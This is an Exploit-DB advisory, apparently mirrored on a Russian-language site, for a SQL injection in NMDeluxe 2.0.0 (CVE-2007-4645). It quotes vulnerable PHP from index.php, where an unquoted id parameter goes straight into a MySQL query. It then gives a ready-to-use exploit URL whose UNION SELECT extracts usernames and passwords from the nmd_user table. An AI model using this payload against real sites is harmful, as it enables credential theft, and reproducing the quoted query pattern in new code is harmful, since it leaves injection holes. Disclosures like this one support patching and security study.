- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 4342
- Проверка EDB
-
- Пройдено
- Автор
- NOT SEC GROUP
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2007-4645
- Дата публикации
- 2007-08-30
Код:
#########################################################################################
#
# not sec group
# http://www.notsec.com [email protected]
#
#
# [NMDeluxe 2.0.0]
#
# Class: SQL Injection
# Found: 30/08/2007
# Remote: Yes
# Site: http://www.wsdeluxe.com/nmdeluxe/
# Download: http://downloads.sourceforge.net/nmdeluxe/nmdeluxe2.0.0.zip?modtime=1178396844&big_mirror=0
#
#########################################################################################
Vulnerable code:
index.php
============================================================================================================
if($_GET['do'] == 'newspost')
{
$newsid=addslashes($_GET['id']);
$sql=mysql_query('SELECT * FROM `'.DB_PFX.'news` WHERE id = ' . $newsid . ' LIMIT ' . $nlim . '');
============================================================================================================
Exploit :
============================================================================================================================================================================================
http://www.site.com/[nmdeluxe]/index.php?do=newspost&id=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,concat(username,0x3a,password)%20FROM%20nmd_user/*
============================================================================================================================================================================================
Thanks To:
=================================
All notsec.com members;
White_Sheep for his Bugs Hunter;
=================================
# milw0rm.com [2007-08-30]
- Источник
- www.exploit-db.com